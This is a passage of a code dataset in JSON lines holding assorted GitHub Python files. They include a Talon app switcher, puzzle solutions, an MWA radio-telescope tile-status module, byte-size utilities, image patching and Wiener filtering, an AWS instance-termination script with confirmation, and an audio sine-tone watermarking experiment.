print(\"Unhandled platform in switcher_launch: \" + app.platform)\n\n    def switcher_menu():\n        \"\"\"Open a menu of running apps to switch to\"\"\"\n        if app.platform == \"windows\":\n            actions.key(\"alt-ctrl-tab\")\n        else:\n            print(\"Persistent Switcher Menu not supported on \" + app.platform)\n\n    def switcher_toggle_running():\n        \"\"\"Shows/hides all running applications\"\"\"\n        if gui_running.showing:\n            gui_running.hide()\n        else:\n            gui_running.show()\n\n    def switcher_hide_running():\n        \"\"\"Hides list of running applications\"\"\"\n        gui_running.hide()\n\n\n@imgui.open()\ndef gui_running(gui: imgui.GUI):\n    gui.text(\"Names of running applications\")\n    gui.line()\n    for line in ctx.lists[\"self.running\"]:\n        gui.text(line)\n\n    gui.spacer()\n    if gui.button(\"Running close\"):\n        actions.user.switcher_hide_running()\n\n\ndef update_launch_list():\n    launch = {}\n    if app.platform == \"mac\":\n        for base in mac_application_directories:\n            if os.path.isdir(base):\n                for name in os.listdir(base):\n                    path = os.path.join(base, name)\n                    name = name.rsplit(\".\", 1)[0].lower()\n                    launch[name] = path\n\n    elif app.platform == \"windows\":\n        launch = get_windows_apps()\n\n    elif app.platform == \"linux\":\n        launch = get_linux_apps()\n\n        # actions.user.talon_pretty_print(launch)\n\n    ctx.lists[\"self.launch\"] = actions.user.create_spoken_forms_from_map(\n        launch, words_to_exclude\n    )\n\n\ndef ui_event(event, arg):\n    if event in (\"app_launch\", \"app_close\"):\n        update_running_list()\n\n\n# Talon starts faster if you don't use the `talon.ui` module during launch\n\n\ndef on_ready():\n    update_overrides(None, None)\n    fs.watch(overrides_directory, update_overrides)\n    update_launch_list()\n    update_running_list()\n    ui.register(\"\", ui_event)\n\n\napp.register(\"ready\", on_ready)\n","repo_name":"talonhub/community","sub_path":"core/app_switcher/app_switcher.py","file_name":"app_switcher.py","file_ext":"py","file_size_in_byte":14324,"program_lang":"python","lang":"en","doc_type":"code","stars":498,"dataset":"github-code","pt":"16"}
+{"seq_id":"21703552249","text":"#!/usr/bin/env python3\n# coding: utf-8\n\n'''\nto demo a fib function which would store calculated fib(n)\nto elimate unnecessary recursive and calculation\n\nto solve project euler problem #2:\nhttp://projecteuler.net/problem=2\n\n'''\n\nfrom fib_store import CalcFib\n\ndef main():\n    ''' main '''\n    # to find the fib number which is even and smaller the upper_limit\n    upper_limit = 4e6\n\n    with CalcFib() as fibs:\n        i = 1\n        even_seq = []\n        while True:\n            fval = fibs.fib(i)\n            if fval > upper_limit:\n                break\n            if not fval & 1:\n                even_seq.append(fval)\n                #print \"fib(%d) = %d\" % (i, fval)\n            i += 1\n\n    print(even_seq, \"and sum is\", sum(even_seq))\n\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ericosur/ericosur-snippet","sub_path":"euler/problem02.py","file_name":"problem02.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"18853123243","text":"import collections\n\nclass Solution:\n    def isValidSudoku(self, board: List[List[str]]) -> bool:\n        # create empty sets to store every unique value in each row, coloumn and 3 x 3 grid\n        rows = collections.defaultdict(set)\n        cols = collections.defaultdict(set)\n        # the key for the 3 x 3 sub grids will be a touple in the format: (row# // 3, col# // 3)\n        # this integer division allows us to compute and track which subgrid a given value belongs to (0, 1, 2)\n        subGrids = collections.defaultdict(set)\n        # iterate through rows\n        for r in range(9):\n            #iterate through columns\n            for c in range(9):\n                # check if value is empty\n                if (board[r][c] == '.'):\n                    continue\n                # check if value exists in each of our sets using our iterators as keys, and a computed touple for the subgrid set\n                if (board[r][c] in rows[r] or\n                    board[r][c] in cols[c] or\n                    board[r][c] in subGrids[(r // 3, c // 3)]):\n                    # if it exists the board is invalid and we return false\n                    return False\n                # if they dont exist then we add those values to the current set and reiterate\n                rows[r].add(board[r][c])\n                cols[c].add(board[r][c])\n                subGrids[(r // 3, c // 3)].add(board[r][c])\n        # if our invalid condition doesnt get hit then return true\n        return True","repo_name":"Junaydh/leetcode","sub_path":"arrays-hashing/validSodoku.py","file_name":"validSodoku.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7609461246","text":"#!/usr/bin/python\n\nimport cPickle\nimport logging\nimport socket\n\nimport mwaconfig\n\ntry:\n  from obssched.base import schedule\n  from obssched import dipole\nexcept ImportError:\n  from mwapy.obssched.base import schedule\n  from mwapy.obssched import dipole\nfrom mwapy.dbobj import execute\n\nNumTiles = int(mwaconfig.glob.numtiles)\n\ntry:\n  STATPORT = int(mwaconfig.mandc.statusport)      #The port that serves status message requests\nexcept AttributeError:\n  STATPORT = 9999\n\n\ngetdb = schedule.getdb\n\n\ndef getRxStatus():\n  # Get the current system status\n  sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n  try:\n      sock.connect(('',STATPORT))\n  except socket.error:\n      logging.info(\"Couldn't connect to status monitor\")\n      return\n  data=''\n  while True:\n    r = sock.recv(8192)\n    if not r:\n      break\n    data+=r\n  sock.close()\n  return cPickle.loads(data)\n\n\n\nclass Tile(dict):\n  \"\"\"Inherit from the dict class, but override set_attr and get_attr so we can use either value['name']\n     or value.name to refer to the items in the dictionary.\n\n     Can be converted directly to a dict using dict(value) for pickling/JSON/etc.\n  \"\"\"\n  def __setattr__(self,n,v):\n   self[n] = v\n\n  def __getattr__(self,n):\n   if n in self:\n     return self[n]\n   else:\n     return dict.__getattr__(n)\n\n\nclass Receiver(dict):\n  \"\"\"Inherit from the dict class, but override set_attr and get_attr so we can use either value['name']\n     or value.name to refer to the items in the dictionary.\n\n     Can be converted directly to a dict using dict(value) for pickling/JSON/etc.\n  \"\"\"\n  def __setattr__(self,n,v):\n   self[n] = v\n\n  def __getattr__(self,n):\n   if n in self:\n     return self[n]\n   else:\n     return dict.__getattr__(n)\n\n\ndef getTiles(reftime=None, db=None):\n  if db is None:\n    db = getdb()\n\n  tiles = {}\n\n  if type(reftime) != int:\n    reftime = int(execute('select gpsnow()', db=db)[0][0])\n\n  tileinfo = execute('select ti.tile_id, ti.tile_pos_east, ti.tile_pos_north, ti.tile_altitude, ti.beamformer_id, ' +\n                        'tc.receiver_id, tc.receiver_slot, pc.correlator_index,  cpm.corr_product_index, '\n                        'bi.gain_x, bi.gain_y, cf.flavor, cf.attenuation_offset, bool(tf.tile_id) as flag, ' +\n                        'ci.eleclength - ri.fibre_length/cv2.velocity_factor as tile_electrical_delay, ' +\n                        'digital_gain_multipliers ' +\n                     'from tile_info ti ' +\n                          'left outer join tile_flags tf on (tf.tile_id = ti.tile_id and '\n                                                             'tf.starttime < %(reftime)s and '\n                                                             'tf.stoptime > %(reftime)s) ' +\n                          'inner join beamformer_info bi on (ti.beamformer_id = bi.beamformer_id and '\n                                                            'bi.begintime < %(reftime)s and bi.endtime > %(reftime)s) ' +\n                          'inner join tile_connection tc on (ti.tile_id = tc.tile and ' +\n                                                            'tc.begintime < %(reftime)s and tc.endtime > %(reftime)s) ' +\n                          'inner join receiver_info ri on (ri.receiver_id = tc.receiver_id and ' +\n                                                          'ri.begintime < %(reftime)s and ri.endtime > %(reftime)s) ' +\n                          'inner join cable_info ci on (tc.cable_name = ci.name and ' +\n                                                       \"ci.begintime < %(reftime)s and ci.endtime > %(reftime)s) \" +\n                          \"inner join cable_velocity_factor cv2 on cv2.type = 'fiber' \" +\n                          'inner join cable_flavor cf on (cf.flavor = ci.flavor and ' +\n                                                         'cf.begintime < %(reftime)s and cf.endtime > %(reftime)s) ' +\n                          'inner join pfb_receiver_connection pr on (pr.rx_id = tc.receiver_id and ' +\n                                                                    'pr.begintime < %(reftime)s and pr.endtime > %(reftime)s) ' +\n                          'inner join pfb_correlator_mapping pc on (pc.pfb_id = pr.pfb_id and pc.pfb_slot = pr.pfb_slot and ' +\n                                                                   'pc.begintime < %(reftime)s and pc.endtime > %(reftime)s) ' +\n                          'inner join siteconfig_tilecorrproductmapping cpm on cpm.rx_slot = tc.receiver_slot ' +\n                     'where ' +\n                           'ti.begintime < %(reftime)s and ti.endtime > %(reftime)s',\n                     data={'reftime':reftime}, db=db)\n\n  for tinf in tileinfo:\n    tid, teast, tnorth, talt, tbfid, rid, rslot, corrindex, corprodindex, tbfgainx, tbfgainy, cflavor, tcatten, flagged, ted, dgains = tinf\n    inputnum = (corrindex - 1) * 8 + corprodindex + 1   # Miriad correlator input numbers start at 1, not 0\n    tiles[tid] = Tile(id=tid, pos=(teast,tnorth), altitude=talt, bf=tbfid, receiver=rid, slot=rslot,\n                      inputnum=inputnum, bfgainx=tbfgainx, bfgainy=tbfgainy, flavor=cflavor, catten=tcatten,\n                      flagged=flagged, ted=ted, dgains=dgains)\n  return tiles\n\n\ndef getConnectionInfo(reftime=None, db=None):\n  if db is None:\n    db = getdb()\n\n  receivers = {}\n  corrinputs = {}\n\n  if type(reftime) != int:\n    reftime = int(execute('select gpsnow()', db=db)[0][0])\n\n  tiles = getTiles(reftime=reftime, db=db)\n\n  for tid,tile in tiles.items():\n    corrinputs[tile.inputnum] = tile\n    if tile.receiver not in receivers:\n      sbc_name = 'rec%02d' % tile.receiver\n      receivers[tile.receiver] = Receiver(id=tile.receiver, sbc_name=sbc_name)\n      receivers[tile.receiver]['slots'] = {}   # Can't pass an empty dict to the constructor, or all receivers would share the same one\n    receivers[tile.receiver].slots[tile.slot] = tile\n\n  return receivers, tiles, corrinputs\n\n\ndef getobsid(filename=None, db=None):\n  \"\"\"Given a filename, return the obs_id associated with that filename.\n  \"\"\"\n  if db is None:\n    db = getdb()\n\n  # If we are given a filename instead of an obsid, find the right obsid for that filename\n  if filename is not None:\n    curs = db.cursor()\n    curs.execute('select observation_num from data_files where filename=%s', (filename,))\n    res = curs.fetchall()\n    if res:\n      return int(res[0][0])\n    else:\n      return None\n\n\ndef getlastobs(db=None):\n  \"\"\"Return the obs_id of the most recent executed observation.\n  \"\"\"\n  if db is None:\n    db = getdb()\n\n  curs = db.cursor()\n  curs.execute('select starttime from mwa_setting where starttime <= (select gpsnow()) order by starttime desc limit 1')\n  res = curs.fetchall()\n  if res:\n    return int(res[0][0])\n  else:\n    return None\n\n\n\ndef getObservationInfo(obsid=None, filename=None, db=None):\n  if db is None:\n    db = getdb()\n\n  # If we weren't given an obsid, find one:\n  if obsid is None:\n    if filename is not None:\n      obsid = getobsid(filename=filename, db=db)    # If we were given a filename, find the obsid for that filename\n    else:\n      obsid = getlastobs(db=db)    # If there's no filename parameter, use the most recent observation.\n\n  if not obsid:\n    return None\n\n  # Grab an MWA_Setting object, and loop over the RF_Streams inside it\n  ob = schedule.MWA_Setting(obsid, db=db)\n  curs = db.cursor()\n  obscrecmds = {}      # Cached contents of obsc_recv_cmds data, with recid as a key and tuples as values\n  for rfnum,rfs in ob.rfstreams.items():   # For each RF_Stream:\n\n    # Define rfs.bad_dipoles for the dipole_exclusion entries in this rfstream - a dict with tileid as a key.\n    curs.execute(\"\"\"select tile, exclude_x_dipoles, exclude_y_dipoles from dipole_exclusion_table where name=%(name)s and\n                           begintime < %(obsid)s and endtime > %(obsid)s\"\"\", {'name':rfs.dipole_exclusion,\n                                                                               'obsid':int(ob.starttime)})\n    res = curs.fetchall()\n    bad_dipoles = {}\n    for row in res:\n      tileid, xlist, ylist = row\n      bad_dipoles[tileid] = (xlist, ylist)\n    rfs.bad_dipoles = bad_dipoles\n\n    # Find a single set of 'good' (no excluded dipoles, etc) delay values for the pointing in this rfstream.\n    # At the same time, cache all the obsc_recv_cmds data for each receiver as we go, for later use.\n    delays = None\n    tmpdelays = None\n    for tileid in rfs.tileset.xlist:   # Loop over all X-polarisation tiles in this RFStream\n      if tileid not in bad_dipoles:\n        recid = int(tileid / 10)\n        if recid not in obscrecmds:\n          curs.execute('select observing_status, slot_power, xdelaysetting, ydelaysetting from obsc_recv_cmds where ' +\n                       'rx_id=%s and starttime=%s', (recid, int(ob.starttime)))\n          res = curs.fetchall()\n          if res:\n            obscrecmds[recid] = res[0]\n          else:\n            obscrecmds[recid] = None\n        if obscrecmds[recid] and obscrecmds[recid][2] and (0 <= (tileid - 10*recid - 1) <= 7):  # Too slow to do a proper connectivity lookup here,\n          tmpdelays = obscrecmds[recid][2][tileid - 10*recid - 1]                               # so this hack rules out crashing on tile 79 (AAVS)\n        if (delays is None) and (tmpdelays is not None) and (None not in tmpdelays):\n          delays = tmpdelays\n    if delays is None or len(obscrecmds.keys()) < 16:   # If we haven't found a valid pointing yet, or we haven't cached all 16 receiver commands records, try the Y-list\n      for tileid in rfs.tileset.ylist:   # Loop over all Y-polarisation tiles in this RFStream\n        if tileid not in bad_dipoles:\n          recid = int(tileid / 10)\n          if recid not in obscrecmds:\n            curs.execute('select observing_status, slot_power, xdelaysetting, ydelaysetting from obsc_recv_cmds where ' +\n                         'rx_id=%s and starttime=%s', (recid, int(ob.starttime)))\n            res = curs.fetchall()\n          if res:\n            obscrecmds[recid] = res[0]\n          else:\n            obscrecmds[recid] = None\n        if obscrecmds[recid] and obscrecmds[recid][3] and (0 <= (tileid - 10*recid - 1) <= 7):  # Too slow to do a proper connectivity lookup here,\n          tmpdelays = obscrecmds[recid][3][tileid - 10*recid - 1]                               # so this hack rules out crashing on tile 79 (AAVS)\n        if (delays is None) and (tmpdelays is not None) and (None not in tmpdelays):\n          delays = tmpdelays\n    rfs.delays = delays    # Set the master 'delays' attribute for the pointing for this rf_stream entry.\n\n    # Now define rfs.bad_tiles containing any tiles in this rfstream with hardware (receiver or tile) faults.\n    # At this point, we've cached an obsc_recv_cmds row in obscrecmds[recid] for every receiver with a tile in this rfstream\n    bad_tiles = []   # List of tile numbers where slot_power is false, or the receiver status indicates a fault (eg, not connected)\n    rfs.bad_tiles = []\n    for recid, data in obscrecmds.items():\n      if data:\n        status, slot_powers, xdelays, ydelays = data\n        if status.strip() != 'Observing':            # If there's a receiver fault, flag all tiles on it as bad\n          bad_tiles = range(recid*10+1, recid*10+9)\n        for slot in range(1,9):\n          if (not slot_powers) or (not slot_powers[slot-1]):  # Flag any tiles with a slot_powers entry of False.\n            bad_tiles.append(recid*10 + slot)\n        for tile in bad_tiles:\n          if ((tile in rfs.tileset.xlist or tile in rfs.tileset.ylist)) and (tile not in rfs.bad_tiles):\n            rfs.bad_tiles.append(tile)    # Set the list of bad tiles for this rfstream, avoiding duplicates.\n    rfs.bad_tiles.sort()\n\n  # Now collect a list of all data files associated with this observation, and put it into ob.files\n  ob.files = {}\n  curs.execute(\"\"\"select filename, filetype, size, host, site_path\n                  from data_files\n                  where observation_num=%s\"\"\", (int(ob.starttime),))\n  res = curs.fetchall()\n  if res:\n    for row in res:\n      filename, filetype, size, host, site_path = row\n      ob.files[filename] = dict(filetype=filetype,\n                                size=size,\n                                host=host,\n                                site_path=site_path)\n  else:\n    ob.files[filename] = dict(filetype=None,\n                              size=None,\n                              host=None,\n                              site_path=None)\n\n  # Now collect all the schedule_metadata info for this observation, and put it into ob.metadata\n  curs.execute(\"\"\"select azimuth_pointing, elevation_pointing, ra_pointing, dec_pointing,\n                         sun_elevation, sun_pointing_distance, jupiter_pointing_distance, moon_pointing_distance,\n                         sky_temp, calibration, calibrators,\n                         gridpoint_name, gridpoint_number, local_sidereal_time_deg\n                  from schedule_metadata where observation_number=%s\"\"\", (int(ob.starttime),))\n  res = curs.fetchall()\n  if res:\n    azp, elp, rap, decp, sunel, sunpd, juppd, moonpd, skytemp, calib, calibrators, gridname, gridnum, lst_deg = res[0]\n    ob.metadata = dict(azimuth_pointing=azp, elevation_pointing=elp, ra_pointing=rap, dec_pointing=decp,\n                       sun_elevation=sunel, sun_pointing_distance=sunpd, jupiter_pointing_distance=juppd,\n                       moon_pointing_distance=moonpd, sky_temp=skytemp, calibration=calib, calibrators=calibrators,\n                       gridpoint_name=gridname, gridpoint_number=gridnum, local_sidereal_time_deg=lst_deg)\n  else:\n    ob.metadata = dict(azimuth_pointing=None, elevation_pointing=None, ra_pointing=None, dec_pointing=None,\n                 sun_elevation=None, sun_pointing_distance=None, jupiter_pointing_distance=None,\n                 moon_pointing_distance=None, sky_temp=None, calibration=None, calibrators=[],\n                 gridpoint_name=None, gridpoint_number=None, local_sidereal_time_deg=None)\n\n\n  # Now convert the MWA_Setting object and entire heirarchy, uncluding RF_Stream objects, into dictionaries, for\n  # transport using JSON.\n  obd = {}\n  for attrib in ob.__dict__:\n    if attrib == 'modtime':\n      pass\n    elif attrib == 'logs':\n      obd['logs'] = [str(logent) for logent in ob.logs]\n    elif attrib == 'rfstreams':\n      obd['rfstreams'] = {}\n      for rfid,rfs in ob.rfstreams.items():\n        rfd = {}\n        for rfattrib in rfs.__dict__:\n          if rfattrib == 'modtime':\n            pass\n          elif rfattrib == 'tileset':\n            t = rfs.tileset\n            rfd['tileset'] = dict(name=t.name, creator=t.creator, xlist=list(t.xlist), ylist=list(t.ylist))\n          else:\n            rfd[rfattrib] = rfs.__dict__[rfattrib]\n        obd['rfstreams'][rfid] = rfd\n    else:\n      obd[attrib] = ob.__dict__[attrib]\n\n  return obd\n\n  \n\nif __name__ == \"__main__\":\n  db = getdb()\n#  img = MakeImage(db=db)\n#  img.save(imgfile)\n\n\n","repo_name":"ryandougherty/mwa-capstone","sub_path":"MWA_Tools/mwapy/obssched/tilestatus.py","file_name":"tilestatus.py","file_ext":"py","file_size_in_byte":14955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5078929824","text":"\"\"\"\nUtilities to convert to and from bytes.\n\nUsed by nengo.rc in order to present file sizes to users in\nhuman-readable formats.\n\nThis code adapted from\nhttps://web.archive.org/web/20200817051754/http://code.activestate.com/recipes/578019-bytes-to-human-human-to-bytes-converter/?in=user-4178764\nunder the MIT License.\n\"\"\"\n\n\ndef bytes2human(n, fmt=\"%(value).1f %(symbol)s\"):\n    \"\"\"\n    Convert from a size in bytes to a human readable string.\n\n    Examples\n    --------\n\n    .. testcode::\n\n       from nengo.utils.cache import bytes2human\n\n       print(bytes2human(10000))\n       print(bytes2human(100001221))\n\n    .. testoutput::\n\n       9.8 KB\n       95.4 MB\n    \"\"\"\n    symbols = (\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\")\n    prefix = {}\n    for i, s in enumerate(symbols[1:]):\n        prefix[s] = 1 << (i + 1) * 10\n    for symbol in reversed(symbols[1:]):\n        if n >= prefix[symbol]:\n            value = float(n) / prefix[symbol]\n            return fmt % {\"value\": value, \"symbol\": symbol}\n    return fmt % {\"value\": n, \"symbol\": symbols[0]}\n\n\ndef human2bytes(s):\n    \"\"\"\n    Convert from a human readable string to a size in bytes.\n\n    Examples\n    --------\n\n    .. testcode::\n\n       from nengo.utils.cache import human2bytes\n\n       print(human2bytes('1 MB'))\n       print(human2bytes('1 GB'))\n\n    .. testoutput::\n\n       1048576\n       1073741824\n    \"\"\"\n    symbols = (\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\")\n\n    ix = -1 if s[-2].isdigit() else -2\n    letter = s[ix:].strip().upper()\n    num = s[:ix].strip()\n    assert letter in symbols\n    num = float(num)\n    prefix = {symbols[0]: 1}\n    for i, symbol in enumerate(symbols[1:]):\n        prefix[symbol] = 1 << (i + 1) * 10\n    return int(num * prefix[letter])\n\n\ndef byte_align(size, alignment):\n    \"\"\"Returns the int larger than ``size`` aligned to ``alginment`` bytes.\"\"\"\n    mask = alignment - 1\n    if size & mask == 0:\n        return size\n    else:\n        return (size | mask) + 1\n","repo_name":"nengo/nengo","sub_path":"nengo/utils/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","stars":781,"dataset":"github-code","pt":"16"}
+{"seq_id":"41932250118","text":"\"\"\"\nproject: deep learning for infected cell segmentation\n\nauthor Information\n==================\nname: amzad hossain rafi\nemail: amzad.rafi@northsouth.edu\ngithub:\n\n\"\"\"\n\n\n\n\nimport os\nimport numpy as np\nfrom PIL import Image \nimport matplotlib.pyplot as plt\n\n\npatch_size = 256\n\ntrain_dir = \"B:\\keggle segmentation\\hubmap-organ-segmentation\\\\train_images\\\\\"\nmask_dir = \"B:\\keggle segmentation\\hubmap-organ-segmentation\\\\train_masks\\\\\"\npatch_mask_dir = \"B:\\keggle segmentation\\hubmap-organ-segmentation\\\\train_masks_patch\\\\\"\npatch_img_dir = \"B:\\keggle segmentation\\hubmap-organ-segmentation\\\\train_images_patch\\\\\"\n\n\n\ndef creat_img_mask_patch_folder():\n    \"\"\"\n    create train_images_patch and train_masks_patch folder\n\n    arg : none\n    retrun : none \n    \"\"\"\n    \n    if not os.path.exists(patch_mask_dir):\n        os.makedirs(patch_mask_dir)\n    if not os.path.exists(patch_img_dir):\n        os.makedirs(patch_img_dir)\n            \n    else: \n        pass\n    return None\n\n\ndef patch_maker_img():\n    img_naming_counter=0\n    \n\n    for i in os.listdir(train_dir):\n        read_img = Image.open(train_dir+i)\n        shape1=np.array(read_img)\n        crop_size = shape1.shape[0]//patch_size*patch_size\n        resized_img = read_img.crop((0,0,crop_size,crop_size))\n        img_to_array = np.array(resized_img)\n        patch_len= (shape1.shape[0]//patch_size)-1\n\n\n        for i in range(patch_len): \n            for j in range(patch_len):\n                x=img_to_array[i*patch_size:(i+1)*patch_size,j*patch_size:(j+1)*patch_size]\n                #save the patch image\n                plt.imsave(patch_img_dir+str(img_naming_counter)+\".png\",x)\n                img_naming_counter+=1\n    return None\n\n\ndef patch_maker_mask():\n    mask_naming_counter = 0 \n\n\n    \n    for i in os.listdir(mask_dir):\n        read_img = Image.open(mask_dir+i)\n        shape1=np.array(read_img)\n        crop_size = shape1.shape[0]//patch_size*patch_size\n        crop_img = read_img.crop((0,0,crop_size,crop_size))\n        img_to_array = np.array(crop_img)\n        patch_len= (shape1.shape[0]//patch_size)-1\n\n\n        for i in range(patch_len): \n            for j in range(patch_len):\n                x=img_to_array[i*patch_size:(i+1)*patch_size,j*patch_size:(j+1)*patch_size]\n                #save the patch image\n                imge=Image.fromarray(x)\n                imge.save(patch_mask_dir+str(mask_naming_counter)+\".png\")\n                #plt.imsave(patch_mask_dir+str(mask_naming_counter)+\".png\",x)\n                mask_naming_counter+=1\n    return None\n\n# if __name__ == '__main__':\n#     patch_maker_img()\n#     creat_img_mask_patch_folder()\n#     patch_maker_mask()\n#     print(\"done\")\n\n\n\n       \n\n","repo_name":"AmzadHossainrafis/project2","sub_path":"utils/patch_maker.py","file_name":"patch_maker.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"3599147559","text":"import os\r\nimport numpy as np\r\nimport scipy\r\nfrom numpy.fft import fft2, ifft2\r\nfrom scipy.signal import gaussian, convolve2d\r\nimport matplotlib.pyplot as plt\r\nimport collections\r\nimport random as rand\r\n\r\n\r\n\r\ndef patchify(img, patch_shape):\r\n    X, Y = img.shape\r\n    x, y = patch_shape\r\n    shape = (X - x + 1, Y - y + 1, x, y)\r\n    X_str, Y_str= img.strides\r\n    strides = (X_str, Y_str, X_str, Y_str)\r\n    return np.lib.stride_tricks.as_strided(img, shape=shape, strides=strides)\r\n\r\ndef add_gaussian_noise(img, sigma):\r\n\tgauss = np.random.normal(0, sigma, np.shape(img))\r\n\tnoisy_img = img + gauss\r\n\tnoisy_img[noisy_img < 0] = 0\r\n\tnoisy_img[noisy_img > 255] = 255\r\n\treturn noisy_img\r\n\r\ndef wiener_filter(img, kernel, K):\r\n\tkernel /= np.sum(kernel)\r\n\tdummy = np.copy(img)\r\n\tdummy = fft2(dummy)\r\n\tkernel = fft2(kernel, s = img.shape)\r\n\tkernel = np.conj(kernel) / (np.abs(kernel) ** 2 + K)\r\n\tdummy = dummy * kernel\r\n\tdummy = np.abs(ifft2(dummy))\r\n\treturn dummy\r\n\r\ndef gaussian_kernel(kernel_size = 3):\r\n\th = gaussian(kernel_size, kernel_size / 3).reshape(kernel_size, 1)\r\n\th = np.dot(h, h.transpose())\r\n\th /= np.sum(h)\r\n\treturn h\r\n\r\ndef rgb2gray(rgb):\r\n\treturn np.dot(rgb[...,:3], [0.2989, 0.5870, 0.1140])\r\n\r\n\r\nif __name__== '__main__':\r\n    file_name =os.path.join('lena_color_512.tif')\r\n    img =rgb2gray(plt.imread(file_name))\r\n    \r\n    noisy = add_gaussian_noise(img, sigma = 20)\r\n    \r\n    kernel =gaussian_kernel(3)\r\n    filtered= wiener_filter(noisy,kernel,K=10)\r\n    plt.imshow(noisy,cmap='gray')\r\n    \r\n    \r\n    noisy1=noisy\r\n    fil=filtered\r\n    \r\n    patches_noisy=patchify(noisy1,(11,11))\r\n    \r\n    patches_fil=patchify(fil,(11,11))\r\n    \r\n    \r\n    ","repo_name":"DoraSoman/PLOW-Filter-","sub_path":"FUll.py","file_name":"FUll.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19568913602","text":"import numpy as np\n\ndef results_to_log(date, net, epochs, lr, acc_train, mcc_train, auc_train, loss_train, acc_test, mcc_test, auc_test, loss_test, early_stopping, filename):\n    \"\"\"Append the network results to a log file\"\"\"\n    with open(filename, 'a') as f:\n        f.write(\"#\"*100)\n        f.write(\"\\nNetwork ran date: {} and trained on {} epochs with lr={}\\n\".format(date, epochs, lr))\n        f.write(net.__str__())\n        f.write(\"\\nTrain Accuracy: {:.3f}, MCC: {:.3f}, AUC: {:.3f}, loss: {:.3f}, perplexity: {:.3f}\\n\".format(acc_train, mcc_train, auc_train, loss_train, np.exp(loss_train)))\n        f.write(\"Valid Accuracy: {:.3f}, MCC: {:.3f}, AUC: {:.3f}, loss: {:.3f}, perplexity: {:.3f}\\n\".format(acc_test, mcc_test, auc_test, loss_test, np.exp(loss_test)))\n        f.write(\"Early stopped: {}\\n\".format(early_stopping))\n    \n    print(\"Results appended to file:\", filename)","repo_name":"hmmartiny/bin","sub_path":"pytorch/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31241382931","text":"import os\nimport argparse\nimport boto3\n\ndef main():\n    parser = argparse.ArgumentParser(description = 'Terminate all active AWS EC2 instances.')\n    args = parser.parse_args()\n\n    ec2_resource = boto3.resource('ec2')\n    instances = ec2_resource.instances.all()\n    print('Planning to terminate:')\n    print_instances(instances)\n    if input('confirm (y,N): ') == 'y':\n        print('Terminating')\n        instances.terminate()\n\ndef print_instances(instances):\n    os.system(\"aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,State.Name]' --output table\")\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"tbenthompson/anti_forgetful","sub_path":"anti_forgetful/terminate.py","file_name":"terminate.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"16"}
+{"seq_id":"71760016969","text":"import numpy as np\nfrom scipy.io.wavfile import read, write\n\n# read the wav file\npath = \"C:\\\\Users\\\\om\\\\Desktop\\\\anti piracy\\\\experimenting\\\\sample.wav\"  # path of the audio file \n\nrate, data = read(path)\n\n# Make sure it's mono by taking the first channel only\nif len(data.shape) > 1:\n    data = data[:, 0]\n\n# specify the frequency of the sine wave (in Hz)\nfrequency = 20000\n\n# specify the duration and interval of the sine wave\nsine_duration = 0.001  # sine wave duration in seconds\nsine_interval = 2  # interval between sine waves in seconds\n\n# calculate the number of intervals in the audio file\nnum_intervals = int(len(data) / (rate * sine_interval))\n\n# generate the sine wave and mix it into the audio at each interval\nfor i in range(num_intervals):\n    # generate the time array for the sine wave\n    start_time = i * sine_interval  # start time in seconds\n    end_time = start_time + sine_duration  # end time in seconds\n    time = np.arange(start_time, end_time, 1/rate)\n\n    # generate the sine wave\n    sine_wave = np.sin(2 * np.pi * frequency * time)\n\n    # Apply a window function to the sine wave\n    window = np.hanning(len(sine_wave))\n    sine_wave = sine_wave * window\n\n    # normalize sine wave to match original data amplitude\n    sine_wave = sine_wave * np.max(np.abs(data))\n\n    # calculate the start and end indices in the data array\n    start_index = int(start_time * rate)\n    end_index = int(end_time * rate)\n\n    # make sure the end_index does not exceed the data length\n    if end_index > len(data):\n        end_index = len(data)\n\n    # mix the original data with the sine wave\n    data[start_index:end_index] += sine_wave[:end_index - start_index].astype(data.dtype)\n\nout = \"C:\\\\Users\\\\om\\\\Desktop\\\\anti piracy\\\\experimenting\\\\sample_0.wav\"  # path of the audio file \n# write the result to a new wav file\nwrite(out, rate, data)\n","repo_name":"Chaitanya21033/Digital-Protection-and-Piracy-Detection-Software","sub_path":"adding.py","file_name":"adding.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
